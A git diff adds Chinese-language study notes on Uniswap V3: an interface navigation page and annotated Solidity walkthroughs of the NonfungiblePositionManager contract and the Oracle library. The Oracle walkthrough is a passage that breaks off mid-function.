+## 内容导航
+
+### State数据的结构
+
+结构和V2相同，主要交互部分多了三个模块
+
+- 用户交互部分
+  - MintV3
+  - BurnV3
+- GraphAPI 管理Graph的请求
+
+[状态数据的结构](./xmind/State.png)
+
+### 用户使用流程及State的变化
+
+- Swap交易
+- Position列表页
+- 回收手续费
+- AddLiquidity
+- RemoveLiquidity
+
+详细解析请戳这里 :point_right: [V3的用户交互流程及状态变化](./UsageAndStates.md)
+
+### 代码解析
+
+- Swap
+- PoolList
+- CollectFee
+- AddLiquidity
+- RemoveLiquidity
+
+详细解析请戳这里 :point_right: [V3 interface 代码解析](./Code.md)
+
+### 相关辅助数据
+
+请戳这里 :point_right: [辅助数据列表](./InfoList.md)
+
+### Multicall State 解析
+
+主要解析V3与V2的区别
+
+详细解析请戳这里 :point_right: [Multicall模块解析](./Multicall.md)
+
+### GraphAPI
+
+Interface中会用到两个Graph的请求
+
+详细解析请戳这里 :point_right: [Graph模块解析](./Graph.md)
+
+## 相关引用
+
+- UniswapV3Interface 源码地址：https://github.com/Uniswap/uniswap-interface/tree/v4.12.8
diff --git a/defi/Uniswap-V3/InterfaceGuide/xmind/Multicall-min.png b/defi/Uniswap-V3/InterfaceGuide/xmind/Multicall-min.png
new file mode 100644
index 000000000..7f6fbb2be
Binary files /dev/null and b/defi/Uniswap-V3/InterfaceGuide/xmind/Multicall-min.png differ
diff --git a/defi/Uniswap-V3/InterfaceGuide/xmind/Multicall.png b/defi/Uniswap-V3/InterfaceGuide/xmind/Multicall.png
new file mode 100644
index 000000000..27e5977fb
Binary files /dev/null and b/defi/Uniswap-V3/InterfaceGuide/xmind/Multicall.png differ
diff --git a/defi/Uniswap-V3/InterfaceGuide/xmind/Stacks.png b/defi/Uniswap-V3/InterfaceGuide/xmind/Stacks.png
new file mode 100644
index 000000000..ccd77042f
Binary files /dev/null and b/defi/Uniswap-V3/InterfaceGuide/xmind/Stacks.png differ
diff --git a/defi/Uniswap-V3/InterfaceGuide/xmind/State-min.png b/defi/Uniswap-V3/InterfaceGuide/xmind/State-min.png
new file mode 100644
index 000000000..30fe71939
Binary files /dev/null and b/defi/Uniswap-V3/InterfaceGuide/xmind/State-min.png differ
diff --git a/defi/Uniswap-V3/InterfaceGuide/xmind/State.png b/defi/Uniswap-V3/InterfaceGuide/xmind/State.png
new file mode 100644
index 000000000..b75bf6c61
Binary files /dev/null and b/defi/Uniswap-V3/InterfaceGuide/xmind/State.png differ
diff --git a/defi/Uniswap-V3/InterfaceGuide/xmind/UniswapV3-Interface.xmind b/defi/Uniswap-V3/InterfaceGuide/xmind/UniswapV3-Interface.xmind
new file mode 100644
index 000000000..75fa4a462
Binary files /dev/null and b/defi/Uniswap-V3/InterfaceGuide/xmind/UniswapV3-Interface.xmind differ
diff --git a/defi/Uniswap-V3/contractGuide/NonfungiblePositionManager.md b/defi/Uniswap-V3/contractGuide/NonfungiblePositionManager.md
new file mode 100644
index 000000000..f3749df7e
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/NonfungiblePositionManager.md
@@ -0,0 +1,740 @@
+# NonfungiblePositionManager 主要代码解读
+
+## State Variables
+
+### _poolIds
+
+Pool地址  => Pool在manager中的编号
+
+```solidity
+/// @dev IDs of pools assigned by this contract
+mapping(address => uint80) private _poolIds;
+```
+
+### _poolIdToPoolKey
+
+Pool在manager中的编号  => [PoolKey](#poolkey)
+
+```solidity
+/// @dev Pool keys by pool ID, to save on SSTOREs for position data
+mapping(uint80 => PoolAddress.PoolKey) private _poolIdToPoolKey;
+```
+
+### _positions
+
+position 列表
+Pool在manager中的编号 => position
+
+```solidity
+/// @dev The token ID position data
+mapping(uint256 => Position) private _positions;
+```
+
+### _nextId, _nextPoolId
+
+自增序号
+
+```solidity
+/// @dev The ID of the next token that will be minted. Skips 0
+uint176 private _nextId = 1;
+/// @dev The ID of the next pool that is used for the first time. Skips 0
+uint80 private _nextPoolId = 1;
+```
+
+### _tokenDescriptor
+
+存储`NonfungibleTokenPositionDescriptor`合约地址
+该合约用于记录代表用户流动性的 NFT token地址，并为 NFT 生成 URI
+
+```solidity
+/// @dev The address of the token descriptor contract, which handles generating token URIs for position tokens
+address private immutable _tokenDescriptor;
+```
+
+## Struct
+
+### PoolKey
+
+```solidity
+/// @notice The identifying key of the pool
+struct PoolKey {
+    address token0;
+    address token1;
+    uint24 fee;
+}
+```
+
+### Position
+
+Manager的position数据结构
+
+```solidity
+// details about the uniswap position
+struct Position {
+    // the nonce for permits
+    // 用于授权的nonce值
+    uint96 nonce;
+    // the address that is approved for spending this token
+    // 被授权使用此position的账户地址
+    address operator;
+    // the ID of the pool with which this token is connected
+    uint80 poolId;
+    // the tick range of the position
+    // position 做市的价格区间(tickindex)
+    int24 tickLower;
+    int24 tickUpper;
+    // the liquidity of the position
+    // position提供做市的流动性
+    uint128 liquidity;
+    // the fee growth of the aggregate position as of the last action on the individual position
+    // 当前position 每单位流动性能收取的手续费
+    // 注意 这里的数据只有当添加或移除流动性时才会与Pool的数据同步
+    uint256 feeGrowthInside0LastX128;
+    uint256 feeGrowthInside1LastX128;
+    // how many uncollected tokens are owed to the position, as of the last computation
+    // 当前存在Manager中，用户未取回的token
+    uint128 tokensOwed0;
+    uint128 tokensOwed1;
+}
+```
+
+### AddLiquidityParams
+
+添加流动性方法的入参
+
+```solidity
+struct AddLiquidityParams {
+    address token0;     // token0 的地址
+    address token1;     // token1 的地址
+    uint24 fee;         // 交易费率
+    address recipient;  // 流动性的所属人地址
+    int24 tickLower;    // 流动性的价格下限（以 token0 计价），这里传入的是 tick index
+    int24 tickUpper;    // 流动性的价格上线（以 token0 计价），这里传入的是 tick index
+    uint256 amount0Desired; // 希望提供的token0数量
+    uint256 amount1Desired; // 希望提供的token1数量
+    uint256 amount0Max; // 提供的 token0 上限数
+    uint256 amount1Max; // 提供的 token1 上限数
+}
+```
+
+### MintCallbackData
+
+uniswapV3MintCallback 回调函数的入参结构
+
+```solidity
+struct MintCallbackData {
+    PoolAddress.PoolKey poolKey;
+    address payer;
+}
+```
+
+### DecreaseLiquidityParams
+
+移除流动性的入参结构体
+
+```solidity
+struct DecreaseLiquidityParams {
+    uint256 tokenId;        // ERC721的id
+    uint128 liquidity;      // 要移除的流动性数量
+    uint256 amount0Min;     // token0要移除的最小数量
+    uint256 amount1Min;     // token1要移除的最小数量
+    uint256 deadline;       // blocktime超过deadline终止执行
+}
+```
+
+### CollectParams
+
+取回手续费的入参结构体
+
+```solidity
+struct CollectParams {
+    uint256 tokenId;
+    address recipient;
+    uint128 amount0Max;
+    uint128 amount1Max;
+}
+```
+
+## Functions
+
+### createAndInitializePoolIfNecessary
+
+创建Pool，如果有必要，对其初始化
+
+```solidity
+/// @inheritdoc IPoolInitializer
+function createAndInitializePoolIfNecessary(
+    address token0,
+    address token1,
+    uint24 fee,
+    uint160 sqrtPriceX96
+) external payable override returns (address pool) {
+    // 保证token地址排序一致
+    require(token0 < token1);
+    // 通过Factory查询Pool的地址
+    pool = IUniswapV3Factory(factory).getPool(token0, token1, fee);
+
+    if (pool == address(0)) {
+        // 如果Pool为0 则需要创建并初始化
+        pool = IUniswapV3Factory(factory).createPool(token0, token1, fee);
+        IUniswapV3Pool(pool).initialize(sqrtPriceX96);
+    } else {
+        // Pool已存在 获取最新价格
+        (uint160 sqrtPriceX96Existing, , , , , , ) = IUniswapV3Pool(pool).slot0();
+        // 如果价格为 0 则初始化Pool
+        if (sqrtPriceX96Existing == 0) {
+            IUniswapV3Pool(pool).initialize(sqrtPriceX96);
+        }
+    }
+}
+```
+
+相关代码
+
+- [UniswapV3Factory(factory).getPool](./UniswapV3Factory.md#getPool)
+- [UniswapV3Factory(factory).createPool](./UniswapV3Factory.md#createPool)
+- [UniswapV3Pool.initialize](./UniswapV3Pool.md#initialize)
+
+### mint
+
+Manager 铸造代表流动性头寸的ERC721代币返回给用户
+
+```solidity
+/// @inheritdoc INonfungiblePositionManager
+function mint(MintParams calldata params)
+    external
+    payable
+    override
+    checkDeadline(params.deadline)
+    returns (
+        uint256 tokenId,
+        uint128 liquidity,
+        uint256 amount0,
+        uint256 amount1
+    )
+{
+    // 添加流动性
+    IUniswapV3Pool pool;
+    (liquidity, amount0, amount1, pool) = addLiquidity(
+        AddLiquidityParams({
+            token0: params.token0,
+            token1: params.token1,
+            fee: params.fee,
+            recipient: address(this),
+            tickLower: params.tickLower,
+            tickUpper: params.tickUpper,
+            amount0Desired: params.amount0Desired,
+            amount1Desired: params.amount1Desired,
+            amount0Min: params.amount0Min,
+            amount1Min: params.amount1Min
+        })
+    );
+
+    // 铸造ERC721代币
+    _mint(params.recipient, (tokenId = _nextId++));
+
+    // 计算positionKey
+    bytes32 positionKey = PositionKey.compute(address(this), params.tickLower, params.tickUpper);
+    // 通过positionKey获取token0和token1的 每单位流动性的手续费数量
+    // 后续提取手续费可以用 该值 × position的流动性 来得出用户应得的手续费数量
+    (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = pool.positions(positionKey);
+
+    // idempotent set
+    // 生成PoolId
+    uint80 poolId =
+        cachePoolKey(
+            address(pool),
+            PoolAddress.PoolKey({token0: params.token0, token1: params.token1, fee: params.fee})
+        );
+
+    // 将用户的流动性头寸 存入positions列表
+    _positions[tokenId] = Position({
+        nonce: 0,
+        operator: address(0),
+        poolId: poolId,
+        tickLower: params.tickLower,
+        tickUpper: params.tickUpper,
+        liquidity: liquidity,
+        feeGrowthInside0LastX128: feeGrowthInside0LastX128,
+        feeGrowthInside1LastX128: feeGrowthInside1LastX128,
+        tokensOwed0: 0,
+        tokensOwed1: 0
+    });
+
+    emit IncreaseLiquidity(tokenId, liquidity, amount0, amount1);
+}
+```
+
+相关代码
+
+- [Pool.positions](./UniswapV3Pool.md#positions)
+- [struct Position](#Position)
+- [Manager.addLiquidity](#addLiquidity)
+
+### addLiquidity
+
+添加流动性到一个已初始化过的Pool中
+
+```solidity
+/// @notice Add liquidity to an initialized pool
+function addLiquidity(AddLiquidityParams memory params)
+    internal
+    returns (
+        uint128 liquidity,
+        uint256 amount0,
+        uint256 amount1,
+        IUniswapV3Pool pool
+    )
+{
+    // 新建 struct PoolKey 并缓存
+    PoolAddress.PoolKey memory poolKey =
+        PoolAddress.PoolKey({token0: params.token0, token1: params.token1, fee: params.fee});
+
+    // 通过Poolkey计算出Pool地址 进而得到了Pool合约的实例
+    // 和V2不同，这里不需要通过访问factory合约拿到Pool地址
+    pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));
+
+    // compute the liquidity amount
+    // 计算流动性数量
+    {
+        // 从slot0插槽拿到 价格
+        (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
+        // 根据入参tickLower计算本次提供流动性的价格下限
+        uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(params.tickLower);
+        // 根据入参tickUpper计算本次提供流动性的价格上限
+        uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(params.tickUpper);
+
+        // 根据入参计算其能提供的最大流动性数量
+        liquidity = LiquidityAmounts.getLiquidityForAmounts(
+            sqrtPriceX96,
+            sqrtRatioAX96,
+            sqrtRatioBX96,
+            params.amount0Desired,
+            params.amount1Desired
+        );
+    }
+
+    // 调用Pool的mint函数
+    (amount0, amount1) = pool.mint(
+        params.recipient,
+        params.tickLower,
+        params.tickUpper,
+        liquidity,
+        abi.encode(MintCallbackData({poolKey: poolKey, payer: msg.sender}))
+    );
+
+    require(amount0 >= params.amount0Min && amount1 >= params.amount1Min, 'Price slippage check');
+}
+```
+
+相关代码
+
+- [struct PoolKey](#PoolKey)
+- [Manager.computeAddress](#computeAddress)
+- [Tick.getSqrtRatioAtTick](./Tick.md#getSqrtRatioAtTick)
+- [LiquidityAmounts.getLiquidityForAmounts](#getLiquidityForAmounts)
+- [Pool.mint](./UniswapV3Pool.md#mint)
+
+### getPoolKey
+
+通过 tokenA, tokenB, fee 三个参数 生成 PoolKey
+tokenA,tokenB 需要地址排序
+
+```solidity
+/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
+/// @param tokenA The first token of a pool, unsorted
+/// @param tokenB The second token of a pool, unsorted
+/// @param fee The fee level of the pool
+/// @return Poolkey The pool details with ordered token0 and token1 assignments
+function getPoolKey(
+    address tokenA,
+    address tokenB,
+    uint24 fee
+) internal pure returns (PoolKey memory) {
+    if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
+    return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
+}
+```
+
+### computeAddress
+
+通过 factory地址 和 PoolKey 计算出 Pool 的地址
+
+```solidity
+/// @notice Deterministically computes the pool address given the factory and PoolKey
+/// @param factory The Uniswap V3 factory contract address
+/// @param key The PoolKey
+/// @return pool The contract address of the V3 pool
+function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
+    require(key.token0 < key.token1);
+    pool = address(
+        uint256(
+            keccak256(
+                abi.encodePacked(
+                    hex'ff',
+                    factory,
+                    keccak256(abi.encode(key.token0, key.token1, key.fee)),
+                    POOL_INIT_CODE_HASH
+                )
+            )
+        )
+    );
+}
+```
+
+### getLiquidityForAmounts
+
+根据传入的token0和token1的数量，计算其能提供的最大流动性数量
+
+```solidity
+/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
+/// pool prices and the prices at the tick boundaries
+/// @param sqrtRatioX96 A sqrt price representing the current pool prices
+/// Pool的当前价格
+/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
+/// 希望提供流动性的价格下限
+/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
+/// 希望提供流动性的价格上限
+/// @param amount0 The amount of token0 being sent in
+/// token0的数量
+/// @param amount1 The amount of token1 being sent in
+/// token1的数量
+/// @return liquidity The maximum amount of liquidity received
+/// 返回其能提供的最大流动性数量
+function getLiquidityForAmounts(
+    uint160 sqrtRatioX96,
+    uint160 sqrtRatioAX96,
+    uint160 sqrtRatioBX96,
+    uint256 amount0,
+    uint256 amount1
+) internal pure returns (uint128 liquidity) {
+    // 对价格进行排序 保证 A < B
+    if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
+
+    // 从token数量计算流动性L
+    // 具体原理请参考博客链接
+    if (sqrtRatioX96 <= sqrtRatioAX96) {
+        liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
+    } else if (sqrtRatioX96 < sqrtRatioBX96) {
+        uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
+        uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
+
+        liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
+    } else {
+        liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
+    }
+}
+```
+
+补充
+
+- 原理解析原文 [Uniswap v3 详解（二）：创建交易对/提供流动性 #从 token 数计算流动性 L](https://liaoph.com/uniswap-v3-2/#%E4%BB%8E-token-%E6%95%B0%E8%AE%A1%E7%AE%97%E6%B5%81%E5%8A%A8%E6%80%A7-l)
+
+### uniswapV3MintCallback
+
+被Pool.mint 函数调用的回调，进行token的转帐操作
+
+```solidity
+/// @inheritdoc IUniswapV3MintCallback
+function uniswapV3MintCallback(
+    uint256 amount0Owed,
+    uint256 amount1Owed,
+    bytes calldata data
+) external override {
+    // 从calldata缓存区中 解码出 PoolKey 和 payer 参数
+    MintCallbackData memory decoded = abi.decode(data, (MintCallbackData));
+    // 检验得到的Pool地址是否正确
+    CallbackValidation.verifyCallback(factory, decoded.poolKey);
+
+    // 进行token转帐 从payer转到Pool中
+    // payer 可能是用户或者Manager合约
+    if (amount0Owed > 0) pay(decoded.poolKey.token0, decoded.payer, msg.sender, amount0Owed);
+    if (amount1Owed > 0) pay(decoded.poolKey.token1, decoded.payer, msg.sender, amount1Owed);
+}
+```
+
+相关代码
+
+- [UniswapV3Pool.mint](./UniswapV3Pool.md#mint)
+- [MintCallbackData](#MintCallbackData)
+- [pay](#pay)
+
+### pay
+
+Pool的token转帐函数
+
+```solidity
+/// @param token The token to pay
+/// @param payer The entity that must pay
+/// @param recipient The entity that will receive payment
+/// @param value The amount to pay
+function pay(
+    address token,
+    address payer,
+    address recipient,
+    uint256 value
+) internal {
+    // 如果token是eth（WETH） 且 调用该方法的地址中有余额
+    if (token == WETH9 && address(this).balance >= value) {
+        // pay with WETH9
+        // 用WETH9支付
+        // 向WETH9合约中存入
+        IWETH9(WETH9).deposit{value: value}(); // wrap only what is needed to pay
+        // 调用WETH9合约转帐方法
+        IWETH9(WETH9).transfer(recipient, value);
+    } else if (payer == address(this)) {
+        // 如果payer是调用该方法的合约 （Manager）
+        // pay with tokens already in the contract (for the exact input multihop case)
+        // 用Manager合约中已存在的token支付
+        TransferHelper.safeTransfer(token, recipient, value);
+    } else {
+        // pull payment
+        // payer不是本合约（可能是用户）
+        TransferHelper.safeTransferFrom(token, payer, recipient, value);
+    }
+}
+```
+
+### decreaseLiquidity
+
+移除position的流动性
+更新Manager中的position状态（流动性和存在Manager中的token数量），调用`Pool.burn`
+
+```solidity
+/// @inheritdoc INonfungiblePositionManager
+function decreaseLiquidity(DecreaseLiquidityParams calldata params)
+    external
+    payable
+    override
+    isAuthorizedForToken(params.tokenId)
+    checkDeadline(params.deadline)
+    returns (uint256 amount0, uint256 amount1)
+{
+    require(params.liquidity > 0);
+    Position storage position = _positions[params.tokenId];
+
+    // 检查position现有流动性 >= 传入的流动性
+    uint128 positionLiquidity = position.liquidity;
+    require(positionLiquidity >= params.liquidity);
+
+    // 缓存PoolKey 优化gas消耗
+    PoolAddress.PoolKey memory poolKey = _poolIdToPoolKey[position.poolId];
+    // 通过PoolKey拿到对应的Pool
+    IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));
+    // 调用Pool的burn函数 返回实际移除的流动性转换为token的数量
+    (amount0, amount1) = pool.burn(position.tickLower, position.tickUpper, params.liquidity);
+
+    // 实际移除的流动性不能小于设置的最小移除流动性数量
+    require(amount0 >= params.amount0Min && amount1 >= params.amount1Min, 'Price slippage check');
+
+    // 计算positionKey
+    bytes32 positionKey = PositionKey.compute(address(this), position.tickLower, position.tickUpper);
+
+    // this is now updated to the current transaction
+    // 现在为用户回收position中的手续费
+
+    // 获取移除之后的position中的 手续费每流动性单位 （fee/liquidity）
+    // 此时Pool中的position记录的fee是最新的
+    // 而Manager中的fee，只会在 增加或移除 流动性时，从Pool的数据中更新
+    (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = pool.positions(positionKey);
+
+    // position中记录着拥有者的token数量
+    // token数量 = 移除流动性转换的token + 用户赚取的手续费增量 （相比于上次更新手续费时）
+    // 用户赚取的手续费增量 = Pool中的手续费 - Manager中的手续费
+    position.tokensOwed0 +=
+        uint128(amount0) +
+        uint128(
+            // FullMath.mulDiv 是先乘后除的安全计算方法
+            // feeGrowthInside0LastX128 是 手续费每流动性单位
+            // 即 feeGrowth增量 × positionLiquidity = 手续费增量
+            // 又因feeGrowthInside0LastX128是Q128.128精度的定点数
+            // 所以最后要将小数位左移128位（二进制）
+            // FixedPoint128.Q128 = 0x100000000000000000000000000000000
+            FullMath.mulDiv(
+                feeGrowthInside0LastX128 - position.feeGrowthInside0LastX128,
+                positionLiquidity,
+                FixedPoint128.Q128
+            )
+        );
+    // 同上
+    position.tokensOwed1 +=
+        uint128(amount1) +
+        uint128(
+            FullMath.mulDiv(
+                feeGrowthInside1LastX128 - position.feeGrowthInside1LastX128,
+                positionLiquidity,
+                FixedPoint128.Q128
+            )
+        );
+
+    // 从Pool的数据中更新手续费
+    position.feeGrowthInside0LastX128 = feeGrowthInside0LastX128;
+    position.feeGrowthInside1LastX128 = feeGrowthInside1LastX128;
+
+    // 更新position的流动性 （减去移除的量）
+    // subtraction is safe because we checked positionLiquidity is gte params.liquidity
+    // 我们检查了 positionLiquidity >= params.liquidity 所以这里减法是安全的
+    position.liquidity = positionLiquidity - params.liquidity;
+
+    emit DecreaseLiquidity(params.tokenId, params.liquidity, amount0, amount1);
+}
+```
+
+相关代码
+
+- [struct DecreaseLiquidityParams](#DecreaseLiquidityParams)
+- [modifier Manager.isAuthorizedForToken](#isAuthorizedForToken)
+- [modifier Manager.checkDeadline](#checkDeadline)
+- [Manager._positions](#_positions)
+- [Pool.positions](./UniswapV3Pool.md#positions)
+- [Pool.burn](./UniswapV3Pool.md#burn)
+- [Manager.computeAddress](#computeAddress)
+
+### collect
+
+回收Pool中累计的手续费收益，Manager的position手续费数据与Pool的同步
+
+```solidity
+/// @inheritdoc INonfungiblePositionManager
+function collect(CollectParams calldata params)
+    external
+    payable
+    override
+    isAuthorizedForToken(params.tokenId)
+    returns (uint256 amount0, uint256 amount1)
+{
+    // 回收手续费最大数量需要 > 0
+    require(params.amount0Max > 0 || params.amount1Max > 0);
+    // allow collecting to the nft position manager address with address 0
+    // 当入参recipient为0，设为本Manager合约地址
+    address recipient = params.recipient == address(0) ? address(this) : params.recipient;
+
+    // 根据tokenId获取用户的position
+    Position storage position = _positions[params.tokenId];
+
+    PoolAddress.PoolKey memory poolKey = _poolIdToPoolKey[position.poolId];
+
+    IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));
+
+    // 从Manager的position中取出tokenOwned
+    (uint128 tokensOwed0, uint128 tokensOwed1) = (position.tokensOwed0, position.tokensOwed1);
+
+    // trigger an update of the position fees owed and fee growth snapshots if it has any liquidity
+    // 如果position流动性 > 0 , 触发 Pool更新 fees owed 和 growth 的快照
+    // fees owed 是Pool的 position.tokensOwed0 (tokensOwed1) 
+    // 用户当前在position中token0的数量
+    // growth 是feeGrowthInside0LastX128 ，即 每流动性单位该position收取的手续费
+    if (position.liquidity > 0) {
+        // Pool的burn方法会触发更新手续费相关的数据
+        // 这里传入的数量是0，所以不会移除流动性
+        pool.burn(position.tickLower, position.tickUpper, 0);
+        // 拿到更新手续费之后的position数据
+        (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) =
+            pool.positions(PositionKey.compute(address(this), position.tickLower, position.tickUpper));
+
+        // 参见decreaseLiquidity的类似代码注释
+        tokensOwed0 += uint128(
+            FullMath.mulDiv(
+                // 相比于上次更新时，Pool内增加的手续费
+                feeGrowthInside0LastX128 - position.feeGrowthInside0LastX128,
+                position.liquidity,
+                FixedPoint128.Q128
+            )
+        );
+        tokensOwed1 += uint128(
+            FullMath.mulDiv(
+                feeGrowthInside1LastX128 - position.feeGrowthInside1LastX128,
+                position.liquidity,
+                FixedPoint128.Q128
+            )
+        );
+
+        // 更新Manager内的position手续费数据
+        position.feeGrowthInside0LastX128 = feeGrowthInside0LastX128;
+        position.feeGrowthInside1LastX128 = feeGrowthInside1LastX128;
+    }
+
+    // compute the arguments to give to the pool#collect method
+    // 计算Pool collect函数的入参
+    // 以设置的手续费最大值作为上限
+    (uint128 amount0Collect, uint128 amount1Collect) =
+        (
+            params.amount0Max > tokensOwed0 ? tokensOwed0 : params.amount0Max,
+            params.amount1Max > tokensOwed1 ? tokensOwed1 : params.amount1Max
+        );
+
+    // the actual amounts collected are returned
+    // 调用Pool.collect 方法，返回实际取回的手续费数量
+    (amount0, amount1) = pool.collect(
+        recipient,
+        position.tickLower,
+        position.tickUpper,
+        amount0Collect,
+        amount1Collect
+    );
+
+    // sometimes there will be a few less wei than expected due to rounding down in core, but we just subtract the full amount expected
+    // 因为Pool.collect使用了下舍算法(rouding down)，有时候实际取回的手续费要略低于预期
+    // instead of the actual amount so we can burn the token
+    // 更新Manager中position的tokenOwned
+    (position.tokensOwed0, position.tokensOwed1) = (tokensOwed0 - amount0Collect, tokensOwed1 - amount1Collect);
+
+    emit Collect(params.tokenId, recipient, amount0Collect, amount1Collect);
+}
+```
+
+相关代码
+
+- [struct Manager.CollectParams](#CollectParams)
+- [struct Manager.Position](#Position)
+- [modifier Manager.isAuthorizedForToken](#isAuthorizedForToken)
+- [Pool.collect](./UniswapV3Pool.md#collect)
+
+### burn
+
+传入`tokenId`调用Manager内部方法`_burn()`，销毁ERC721代币代表的position
+`_burn()` 继承自 ERC721 类，即销毁ERC721token的标准方法
+
+```solidity
+/// @inheritdoc INonfungiblePositionManager
+function burn(uint256 tokenId) external payable override isAuthorizedForToken(tokenId) {
+    // 获取tokenId对应的postion
+    Position storage position = _positions[tokenId];
+    // 检查position的 liquidity tokensOwed0 tokensOwed1 必须为0
+    // 否则不能销毁position
+    require(position.liquidity == 0 && position.tokensOwed0 == 0 && position.tokensOwed1 == 0, 'Not cleared');
+    // 删除position数据
+    delete _positions[tokenId];
+    // 销毁ERC721 TOKEN
+    _burn(tokenId);
+}
+```
+
+相关代码
+
+- [modifier Manager.isAuthorizedForToken](#isAuthorizedForToken)
+
+## modifier
+
+### isAuthorizedForToken
+
+调用 ERC721 类的 `_isApprovedOrOwner`函数
+被修饰的函数只能是ERC721token所有者，或被approve授权者
+
+```solidity
+modifier isAuthorizedForToken(uint256 tokenId) {
+    require(_isApprovedOrOwner(msg.sender, tokenId), 'Not approved');
+    _;
+}
+```
+
+### checkDeadline
+
+当blocktime超过deadline，被修饰的函数终止执行
+
+```solidity
+modifier checkDeadline(uint256 deadline) {
+    require(_blockTimestamp() <= deadline, 'Transaction too old');
+    _;
+}
+```
diff --git a/defi/Uniswap-V3/contractGuide/Oracle.md b/defi/Uniswap-V3/contractGuide/Oracle.md
new file mode 100644
index 000000000..fac2cb571
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/Oracle.md
@@ -0,0 +1,148 @@
+# Oracle
+
+Oracle 数据使用一个结构体 Observation 来表示：
+```solidity
+struct Observation {
+    // 记录区块的时间戳
+    uint32 blockTimestamp;
+    // tick index 的时间加权累积值
+    int56 tickCumulative;
+    // 价格所在区间的流动性的时间加权累积值
+    uint160 liquidityCumulative;
+    // 是否已经被初始化
+    bool initialized;
+}
+
+```
+
+## functions
+
+### Observation
+
+Oracle 的数据结构
+
+```solidity
+struct Observation {
+    // the block timestamp of the observation
+    // 区块时间戳
+    uint32 blockTimestamp;
+    // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized
+    // tick index 的时间加权累计值
+    // tickCumulative = last tickCumulative + tickindex * deltaTime
+    int56 tickCumulative;
+    // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized
+    // 时间(秒) 每 单位流动性
+    // 这里主要为了方便计算position的挖矿权重
+    uint160 secondsPerLiquidityCumulativeX128;
+    // whether or not the observation is initialized
+    // 该Oracle数据是否已被初始化
+    bool initialized;
+}
+```
+
+### initialize
+
+```solidity
+/// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array
+/// 用slot0数据初始化Oracle数组，在Oracle生命周期内只调用一次
+/// @param self The stored oracle array
+/// @param time The time of the oracle initialization, via block.timestamp truncated to uint32
+/// @return cardinality The number of populated elements in the oracle array
+/// @return cardinalityNext The new length of the oracle array, independent of population
+function initialize(Observation[65535] storage self, uint32 time)
+    internal
+    returns (uint16 cardinality, uint16 cardinalityNext)
+{
+    self[0] = Observation({
+        blockTimestamp: time,
+        tickCumulative: 0,
+        secondsPerLiquidityCumulativeX128: 0,
+        initialized: true
+    });
+    return (1, 1);
+}
+```
+
+### observeSingle
+
+返回一段时间内的预言机数据，内部方法
+
+```solidity
+/// @dev Reverts if an observation at or before the desired observation timestamp does not exist.
+/// 当传入的时间不存在，程序将被revert
+/// 0 may be passed as `secondsAgo' to return the current cumulative values.
+/// secondsAgo 表示希望获取多少秒以前至时间戳(time)期间的数据
+/// If called with a timestamp falling between two observations, returns the counterfactual accumulator values
+/// at exactly the timestamp between the two observations.
+/// @param self The stored oracle array
+/// @param time The current block timestamp
+/// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation
+/// @param tick The current tick
+/// @param index The index of the observation that was most recently written to the observations array
+/// Oracle最后一次被写入数据的索引值
+/// @param liquidity The current in-range pool liquidity
+/// 当前Pool处于激活状态的总流动性
+/// @param cardinality The number of populated elements in the oracle array
+/// oracle 数据的最大长度（类环结构）
+/// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`
+/// tickindex 的加权累计值 从pool初始化开始到 secondsAgo 截止
+/// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`
+/// 时间(秒) 每单位流动性 用于计算position的挖矿权重
+function observeSingle(
+    Observation[65535] storage self,
+    uint32 time,
+    uint32 secondsAgo,
+    int24 tick,
+    uint16 index,
+    uint128 liquidity,
+    uint16 cardinality
+) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {
+    // 当secondsAgo传0 返回最新的一个Oracle数据
+    if (secondsAgo == 0) {
+        Observation memory last = self[index];
+
+        // 区块时间戳 不等于 Oracle最新的时间戳，更新last
+        if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);
+        return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);
+    }
+
+    // 当secondsAgo不为0
+    // 计算时间区间的另一个点
+    uint32 target = time - secondsAgo;
+
+    // 计算出请求时间戳最近的两个 Oracle 数据
+    (Observation memory beforeOrAt, Observation memory atOrAfter) =
+        getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);
+
+    if (target == beforeOrAt.blockTimestamp) {
+        // we're at the left boundary
+        // 如果请求时间和返回的左侧时间戳吻合，那么可以直接使用
+        return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);
+    } else if (target == atOrAfter.blockTimestamp) {
+        // we're at the right boundary
